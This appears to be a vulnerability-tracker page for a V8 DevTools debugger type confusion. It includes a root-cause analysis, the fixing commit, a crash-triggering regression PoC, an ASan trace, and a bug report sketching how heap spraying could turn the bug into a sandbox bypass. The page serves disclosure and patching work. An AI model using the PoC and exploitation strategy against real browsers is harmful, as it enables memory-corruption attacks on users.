Medium watch CVSS 8.8 chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType confusion in DevTools
DescriptionType confusion in DevTools
ComponentDevTools
Sub-componentDebug
Bug ClassType Confusion
Action tierwatch — corruption primitive but gated (flag) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker532162132
Fix commit16438c8268cb (v8/v8) +38/-4
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedGoogle
Reported2026-07-07 (per vendor advisory)
Fix landed2026-07-08 (public git)
Disclosed2026-08-25
Patch gap48 days — fix public in source before the advisory

Background

Scope synchronization
the V8 debugger copies variable values between the live execution context and a materialized “scope” object when paused, enumerating property keys of that object to know which variables to sync.
`KeyAccumulator::GetKeys`
a V8 API that collects an object’s own property keys; its trailing parameters control the key conversion (GetKeysConversion) and whether array/integer indices are skipped (skip_indices).
`Smi` vs `HeapNumber` vs `String`
V8 represents small integer property keys as tagged Smi (or HeapNumber) values, whereas named identifiers are String objects; a raw Cast<String> on a Smi reinterprets an integer as an object pointer.
Materialized/extension object
the debugger’s stand-in object (element.materialized_object, context_->extension_object()) that holds a scope’s variables, whose keys the debugger iterates.

Root Cause Analysis

When synchronizing scope variables, DebugEvaluate::ContextBuilder::UpdateValues and ScopeIterator::VisitLocalScope called KeyAccumulator::GetKeys on the scope’s materialized/extension object using default arguments, i.e., with number conversion left at default and skip_indices = false, so integer-indexed properties were returned as numeric (Smi/HeapNumber) keys. The iteration over the returned keys array then assumed every key was a named variable and performed an unchecked Cast<String>, treating a numeric key as a String object pointer — a type confusion. The invariant being relied on — that scope variable names are always non-numeric identifier strings — is normally true for real locals and eval-introduced variables, but it can be violated because a debugger evaluateOnCallFrame expression can attach an integer-indexed property to the materialized object (e.g., var obj = local_func(); obj[0] = 1; where the local returns this).

The fix passes GetKeysConversion::kConvertToString and skip_indices = true at both call sites, so indexed keys are either skipped or converted to strings and the subsequent Cast<String> always operates on genuine String keys.

Key insight
The code assumed scope keys were always identifier strings and did an unchecked Cast<String>, but GetKeys with default arguments could return integer (Smi/HeapNumber) index keys; the fix forces skip_indices = true and kConvertToString so only string keys reach the cast.

Attack Path

  1. Attach the debugger With the inspector enabled, an attacker (or attacker-influenced page) uses the DevTools/inspector protocol to hit a debugger statement and pause in a function with a local scope (Debugger.paused).
  2. Expose the materialized object A local function that return this yields the scope’s materialized object, so evaluateOnCallFrame can obtain and mutate it: var obj = local_func();.
  3. Add an indexed property The evaluated expression assigns an integer-indexed property, obj[0] = 1;, so the materialized object now carries a numeric key.
  4. Trigger the confused cast On resuming/re-syncing scopes, UpdateValues/VisitLocalScope calls GetKeys (returning a Smi/HeapNumber key) and iterates it with Cast<String>, reinterpreting the integer as a String pointer — a type confusion in the process running V8 (the concrete read/write primitive is not shown in the diff) (inferred).

Impact Assessment

An attacker able to drive the V8 inspector/debugger can induce a type confusion where a numeric property key is cast to a String, corrupting the debugger’s scope-synchronization logic and enabling memory misinterpretation in the process hosting V8 (inferred). The precondition is inspector/debugger access (the PoC uses --enable-inspector and Debugger.evaluateOnCallFrame). The vendor advisory rates this medium severity and does not report in-the-wild exploitation; NVD scores it CVSS 8.8.

Changed Functions

FunctionChangeNotes
for
src/debug/debug-evaluate.cc
modified
if
test/debugger/regress/regress-532162132.js
modified

Files Changed

  • src/debug/debug-evaluate.cc
  • src/debug/debug-scopes.cc
  • test/debugger/regress/regress-532162132.js

Audit Directions

  • Unchecked `Cast<String>` on enumerated keys
    Search V8 for iteration over GetKeys/GetOwnPropertyKeys results followed by Cast<String> without verifying the key is not a Smi/HeapNumber index.
  • Default `GetKeys` arguments where only names are expected
    Audit callers that assume identifier-only keys but call GetKeys with default skip_indices=false/default conversion, particularly in debugger, snapshot, and serialization code.
  • Debugger-materialized objects as attacker input
    Review debug/inspector code paths where evaluateOnCallFrame can mutate materialized scope or extension objects, since those objects carry attacker-controlled property shapes.
From 16438c8268cba51b5b3fd62d8b997d3962430868 Mon Sep 17 00:00:00 2001
From: Yang Guo <[email protected]>
Date: Wed, 08 Jul 2026 11:36:10 +0000
Subject: [PATCH] [debug] Skip numeric property keys when synchronizing scopes

When synchronizing variable values between the debugger and the execution context (`DebugEvaluate::ContextBuilder::UpdateValues` and `ScopeIterator::VisitLocalScope`), `KeyAccumulator::GetKeys` is called on the scope's materialized object (`element.materialized_object`) or `extension_object` (`context_->extension_object()`).

Previously, `KeyAccumulator::GetKeys` was called without skipping indices (`skip_indices = false`) and with default number conversion. If numeric/indexed properties exist on a scope's materialized or extension object (e.g., when a local function returns `this` exposing the materialized object, and an indexed property `obj[0] = 1` is assigned), `GetKeys` returns `Smi` or `HeapNumber` keys. The iteration over `keys` then performs an unchecked `Cast<String>` where `Smi` integers are treated as `String` object pointers.

Because valid JavaScript local identifiers and `eval`-introduced variables are always non-numeric strings and never array/integer indices, this CL explicitly passes `skip_indices = true` and `GetKeysConversion::kConvertToString` to `KeyAccumulator::GetKeys()` across both `debug-evaluate.cc` and `debug-scopes.cc`.

TAG=agy
CONV=287739c1-2bf8-4a93-b61b-7a01f6c60f42

Fixed: 532162132
Change-Id: I4e888d529ba5b0febd7851868a892d67fb744520
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8064952
Reviewed-by: Simon Zünd <[email protected]>
Commit-Queue: Simon Zünd <[email protected]>
Auto-Submit: Yang Guo <[email protected]>
Cr-Commit-Position: refs/heads/main@{#108523}
---
diff --git a/src/debug/debug-evaluate.cc b/src/debug/debug-evaluate.cc
index 6a92acb..d14f680 100644
--- a/src/debug/debug-evaluate.cc
+++ b/src/debug/debug-evaluate.cc
@@ -286,9 +286,10 @@
   for (ContextChainElement& element : context_chain_) {
     if (!element.materialized_object.is_null()) {
       DirectHandle<FixedArray> keys =
-          KeyAccumulator::GetKeys(isolate_, element.materialized_object,
-                                  KeyCollectionMode::kOwnOnly,
-                                  ENUMERABLE_STRINGS)
+          KeyAccumulator::GetKeys(
+              isolate_, element.materialized_object,
+              KeyCollectionMode::kOwnOnly, ENUMERABLE_STRINGS,
+              GetKeysConversion::kConvertToString, false, true)
               .ToHandleChecked();
 
       uint32_t keys_len = keys->ulength().value();
diff --git a/src/debug/debug-scopes.cc b/src/debug/debug-scopes.cc
index ce8e4ee..5b83562 100644
--- a/src/debug/debug-scopes.cc
+++ b/src/debug/debug-scopes.cc
@@ -1098,7 +1098,9 @@
     DirectHandle<JSObject> extension(context_->extension_object(), isolate_);
     DirectHandle<FixedArray> keys =
         KeyAccumulator::GetKeys(isolate_, extension,
-                                KeyCollectionMode::kOwnOnly, ENUMERABLE_STRINGS)
+                                KeyCollectionMode::kOwnOnly, ENUMERABLE_STRINGS,
+                                GetKeysConversion::kConvertToString, false,
+                                true)
             .ToHandleChecked();
 
     uint32_t keys_len = keys->ulength().value();
diff --git a/test/debugger/regress/regress-532162132.js b/test/debugger/regress/regress-532162132.js
new file mode 100644
index 0000000..d0dc3aa
--- /dev/null
+++ b/test/debugger/regress/regress-532162132.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --enable-inspector
+
+let next_id = 2;
+function receive(message) {
+  let msg = JSON.parse(message);
+  if (msg.method === "Debugger.paused") {
+    let callFrameId = msg.params.callFrames[0].callFrameId;
+    send(JSON.stringify({
+      id: next_id++,
+      method: "Debugger.evaluateOnCallFrame",
+      params: {
+        callFrameId: callFrameId,
+        expression: "var obj = local_func(); obj[0] = 1;"
+      }
+    }));
+  } else if (msg.id === 2) {
+    print("Eval result:", JSON.stringify(msg));
+    send(JSON.stringify({id: next_id++, method: "Debugger.resume"}));
+  }
+}
+send(JSON.stringify({id: 1, method: "Debugger.enable"}));
+function test() {
+  var x = 123;
+  var local_func = function() { return this; };
+  debugger;
+}
+test();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/debugger/regress/regress-532162132.js b/test/debugger/regress/regress-532162132.js
new file mode 100644
index 0000000..d0dc3aa
--- /dev/null
+++ b/test/debugger/regress/regress-532162132.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --enable-inspector
+
+let next_id = 2;
+function receive(message) {
+  let msg = JSON.parse(message);
+  if (msg.method === "Debugger.paused") {
+    let callFrameId = msg.params.callFrames[0].callFrameId;
+    send(JSON.stringify({
+      id: next_id++,
+      method: "Debugger.evaluateOnCallFrame",
+      params: {
+        callFrameId: callFrameId,
+        expression: "var obj = local_func(); obj[0] = 1;"
+      }
+    }));
+  } else if (msg.id === 2) {
+    print("Eval result:", JSON.stringify(msg));
+    send(JSON.stringify({id: next_id++, method: "Debugger.resume"}));
+  }
+}
+send(JSON.stringify({id: 1, method: "Debugger.enable"}));
+function test() {
+  var x = 123;
+  var local_func = function() { return this; };
+  debugger;
+}
+test();
Loading diff…

Original Bug Report

reported by [email protected]

Type confusion in V8 debugger scope synchronization via unchecked Smi cast

Flapjack has identified a security issue and generated a PoC.

Build variant: Asan

Build arguments: is_asan=true is_debug=false dcheck_always_on=false symbol_level=1 v8_enable_memory_corruption_api=true v8_enable_sandbox=true

Shell command: d8 --run-as-security-poc --omit-quit --enable-inspector --disable-in-process-stack-traces

Return code: 134

<details>

<summary>stdout</summary>

</details>

<details>

<summary>stderr</summary>

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1492==ERROR: AddressSanitizer: SEGV on unknown address 0x7895ffffffff (pc 0x5df37d085a5c bp 0x7fff6184bbb0 sp 0x7fff6184baa0 T0)
==1492==The signal is caused by a READ memory access.
    #0 0x5df37d085a5c in v8::internal::DebugEvaluate::ContextBuilder::UpdateValues() third_party/libc++/src/include/__atomic/atomic_ref.h:152:5
    #1 0x5df37d0852c1 in v8::internal::DebugEvaluate::Local(v8::internal::Isolate*, v8::internal::StackFrameId, int, v8::internal::DirectHandle<v8::internal::String>, bool) v8/src/debug/debug-evaluate.cc:126:48
    #2 0x5df37d0c0fdd in v8::internal::DebugStackTraceIterator::Evaluate(v8::Local<v8::String>, bool) v8/src/debug/debug-stack-trace-iterator.cc:268:8
    #3 0x5df3800d81c4 in v8_inspector::V8DebuggerAgentImpl::evaluateOnCallFrame(v8_inspector::String16 const&, v8_inspector::String16 const&, std::__Cr::optional<v8_inspector::String16>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<double>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::RemoteObject, std::__Cr::default_delete<v8_inspector::protocol::Runtime::RemoteObject>>*, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::ExceptionDetails, std::__Cr::default_delete<v8_inspector::protocol::Runtime::ExceptionDetails>>*) v8/src/inspector/v8-debugger-agent-impl.cc:1797:28
    #4 0x5df380007193 in v8_inspector::protocol::Debugger::DomainDispatcherImpl::evaluateOnCallFrame(v8_crdtp::Dispatchable&) gen/v8/src/inspector/protocol/Debugger.cpp:728:44
    #5 0x5df380005b82 in v8_inspector::protocol::Debugger::DomainDispatcherImpl::Dispatch(std::__Cr::span<unsigned char const, 18446744073709551615ul>, v8_crdtp::Dispatchable&) gen/v8/src/inspector/protocol/Debugger.cpp:579:3
    #6 0x5df3801b56ad in v8_crdtp::UberDispatcher::Dispatch(v8_crdtp::Dispatchable&) v8/third_party/inspector_protocol/crdtp/dispatch.cc:553:23
    #7 0x5df38014c6a3 in v8_inspector::V8InspectorSessionImpl::dispatchProtocolMessage(v8_inspector::StringView, v8_inspector::StringView) v8/src/inspector/v8-inspector-session-impl.cc:411:16
    #8 0x5df37cb376e2 in v8::InspectorClient::SendInspectorMessage(v8::FunctionCallbackInfo<v8::Value> const&) v8/src/d8/d8.cc:5912:16
    #9 0x5df382aa6693 in Builtins_CallApiCallbackGeneric crtstuff.c
    #10 0x5df382aa4940 in Builtins_InterpreterEntryTrampoline crtstuff.c
    #11 0x5df382aa16db in Builtins_JSEntryTrampoline crtstuff.c
    #12 0x5df382aa142a in Builtins_JSEntry crtstuff.c
    #13 0x5df37d1974a9 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:483:22
    #14 0x5df37d195dd9 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>) v8/src/execution/execution.cc:573:10
    #15 0x5df37cdf26ad in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) v8/src/api/api.cc:5671:27
    #16 0x5df37cb38fe2 in v8::InspectorFrontend::Send(v8_inspector::StringView const&) v8/src/d8/d8.cc:5801:36
    #17 0x5df37cb38ac7 in v8::InspectorFrontend::sendNotification(std::__Cr::unique_ptr<v8_inspector::StringBuffer, std::__Cr::default_delete<v8_inspector::StringBuffer>>) v8/src/d8/d8.cc:5770:5
    #18 0x5df38000453f in v8_inspector::protocol::Debugger::Frontend::paused(std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>>>, v8_inspector::String16 const&, std::__Cr::unique_ptr<v8_inspector::protocol::DictionaryValue, std::__Cr::default_delete<v8_inspector::protocol::DictionaryValue>>, std::__Cr::unique_ptr<std::__Cr::vector<v8_inspector::String16, std::__Cr::allocator<v8_inspector::String16>>, std::__Cr::default_delete<std::__Cr::vector<v8_inspector::String16, std::__Cr::allocator<v8_inspector::String16>>>>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::StackTrace, std::__Cr::default_delete<v8_inspector::protocol::Runtime::StackTrace>>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::StackTraceId, std::__Cr::default_delete<v8_inspector::protocol::Runtime::StackTraceId>>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::StackTraceId, std::__Cr::default_delete<v8_inspector::protocol::Runtime::StackTraceId>>) gen/v8/src/inspector/protocol/Debugger.cpp:303:24
    #19 0x5df3800ba0f4 in v8_inspector::V8DebuggerAgentImpl::didPause(int, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::debug::ExceptionType, bool, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/inspector/v8-debugger-agent-impl.cc:2525:14
    #20 0x5df3801129ce in void std::__Cr::__function::__policy_func<void (v8_inspector::V8InspectorSessionImpl*)>::__call_func<v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool)::$_1>(std::__Cr::__function::__policy_storage const*, v8_inspector::V8InspectorSessionImpl*) v8/src/inspector/v8-debugger.cc:533:37
    #21 0x5df3801359a5 in v8_inspector::V8InspectorImpl::forEachSession(int, std::__Cr::function<void (v8_inspector::V8InspectorSessionImpl*)> const&) third_party/libc++/src/include/__functional/function.h:502:12
    #22 0x5df3800ffa88 in v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool) v8/src/inspector/v8-debugger.cc:528:16
    #23 0x5df3801008f4 in v8_inspector::V8Debugger::BreakProgramRequested(v8::Local<v8::Context>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/inspector/v8-debugger.cc:680:3
    #24 0x5df37d0ccb7e in v8::internal::Debug::OnDebugBreak(v8::internal::DirectHandle<v8::internal::FixedArray>, v8::internal::StepAction, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/debug/debug.cc:2673:22
    #25 0x5df37d0e33c6 in v8::internal::Debug::HandleDebugBreak(v8::internal::IgnoreBreakMode, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/debug/debug.cc:2946:3
    #26 0x5df37e3a8fef in v8::internal::Runtime_HandleDebuggerStatement(int, unsigned long*, v8::internal::Isolate*) v8/src/runtime/runtime-debug.cc:182:23
    #27 0x5df382b5df75 in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit crtstuff.c
    #28 0x5df382c821b3 in Builtins_DebuggerHandler crtstuff.c
    #29 0x5df382aa4940 in Builtins_InterpreterEntryTrampoline crtstuff.c
    #30 0x5df382aa4940 in Builtins_InterpreterEntryTrampoline crtstuff.c
    #31 0x5df382aa16db in Builtins_JSEntryTrampoline crtstuff.c
    #32 0x5df382aa142a in Builtins_JSEntry crtstuff.c
    #33 0x5df37d1974a9 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:483:22
    #34 0x5df37d199ab1 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) v8/src/execution/execution.cc:583:10
    #35 0x5df37cdc8863 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) v8/src/api/api.cc:2048:7
    #36 0x5df37cacd3f4 in v8::Shell::ExecuteSource(v8::Isolate*, v8::Shell::Source const&, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) v8/src/d8/d8.cc:1150:44
    #37 0x5df37cb0fe00 in v8::SourceGroup::Execute(v8::Isolate*) v8/src/d8/d8.cc:6200:12
    #38 0x5df37cb1d6bc in v8::Shell::RunMainIsolate(v8::Isolate*, bool) v8/src/d8/d8.cc:7241:37
    #39 0x5df37cb1cb5d in v8::Shell::RunMain(v8::Isolate*, bool) v8/src/d8/d8.cc:7147:18
    #40 0x5df37cb20eb9 in v8::Shell::Main(int, char**) v8/src/d8/d8.cc:8093:18
    #41 0x7ddef6a711c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #42 0x7ddef6a7128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
    #43 0x5df37c9b6029 in _start (/home/rjlothian_google_com/chromium_ro/src/out/Asan/d8+0x1526029) (BuildId: a3b98e30abd72867)

==1492==Register values:
rax = 0x00007c2ef5ded210  rbx = 0x00007fff6184baa0  rcx = 0x0000000000000000  rdx = 0x00000f9ddebbc245  
rdi = 0x00007a0ef5e2cc98  rsi = 0x00005df38426f420  rbp = 0x00007fff6184bbb0  rsp = 0x00007fff6184baa0  
 r8 = 0x0000000000000000   r9 = 0x00007ceef5de1000  r10 = 0x00007c2ef5ded460  r11 = 0x0000000000000004  
r12 = 0x00007c2ef5ded428  r13 = 0x00000f12bfffffff  r14 = 0x00007895ffffffff  r15 = 0x000079def4c2c6e0  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV third_party/libc++/src/include/__atomic/atomic_ref.h:152:5 in v8::internal::DebugEvaluate::ContextBuilder::UpdateValues()
==1492==ABORTING

</details>

Overview: A type confusion vulnerability exists in V8’s debugger scope synchronization logic when handling numeric property keys. Because KeyAccumulator::GetKeys retains array indices as Smi objects by default, an unchecked Cast<String> causes these integers to be treated as String object pointers. An attacker can trigger this during a debugging session to achieve arbitrary memory access and potentially bypass the V8 Sandbox.

Affected files:

  • v8/src/debug/debug-evaluate.cc
  • v8/src/debug/debug-scopes.cc

Estimated timestamp from git blame: 2018-06-18

Root Cause

When synchronizing variables between the debugger and the execution context, V8 iterates over the keys of scope objects in DebugEvaluate::ContextBuilder::UpdateValues() (v8/src/debug/debug-evaluate.cc) and ScopeIterator::VisitLocalScope() (v8/src/debug/debug-scopes.cc).

Keys are retrieved using KeyAccumulator::GetKeys with the ENUMERABLE_STRINGS filter. However, this filter does not skip array indices, and the function defaults to GetKeysConversion::kKeepNumbers and skip_indices = false. Consequently, if an object has numeric properties, they are returned as Smi (or HeapNumber) objects instead of Strings.

The code assumes all returned keys are strings and performs a cast:

for (uint32_t i = 0; i < keys_len; i++) {
  DCHECK(IsString(keys->get(i))); // Compiles to a no-op in Release builds
  Handle<String> key(Cast<String>(keys->get(i)), isolate_);
  // ... JSReceiver::GetDataProperty(isolate_, extension, key);
}

In release builds, Cast<String> delegates to an unchecked bitwise cast. A Smi value is thereby forcibly treated as a tagged String pointer.

Exploitation and Impact

During a debugger evaluateOnCallFrame event, the context’s materialized_object is exposed if a local function returns this. An attacker can assign an indexed property to it (e.g., obj[0] = 1).

When execution resumes, UpdateValues() encounters this Smi key. The fake String is passed to JSReceiver::GetDataProperty(), which constructs a LookupIterator. The iterator subsequently dereferences the fake string pointer (subtracting kHeapObjectTag (1) from the Smi’s bitwise representation). Because the attacker fully controls the Smi value, they control the memory address V8 attempts to dereference.

By ensuring this address points to a sprayed fake String object in the sandbox heap, the attacker achieves a powerful primitive that can be leveraged to bypass the V8 Sandbox. While it requires an active debugging session (CDTP), this constitutes a valid and high-severity renderer memory corruption vulnerability.

Suggested Fix

In both debug-evaluate.cc and debug-scopes.cc, explicitly provide GetKeysConversion::kConvertToString (or pass skip_indices = true) to the KeyAccumulator::GetKeys calls. This ensures any numeric keys are safely converted to string representations before the loop encounters them:

DirectHandle<FixedArray> keys =
    KeyAccumulator::GetKeys(isolate_, element.materialized_object,
                            KeyCollectionMode::kOwnOnly,
                            ENUMERABLE_STRINGS,
                            GetKeysConversion::kConvertToString)
        .ToHandleChecked();

Evaluated with Chrome root at commit: e90946bb1b0c143a02180dd070c9ce75d4d0b935


The description of the vuln is LLM-generated and can contain mistakes. Your feedback is appreciated, and will help us make improvement over time. The PoC was run in a VM and it seemed to be legit - if not, let us know and we can strengthen our checker. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

View on issue tracker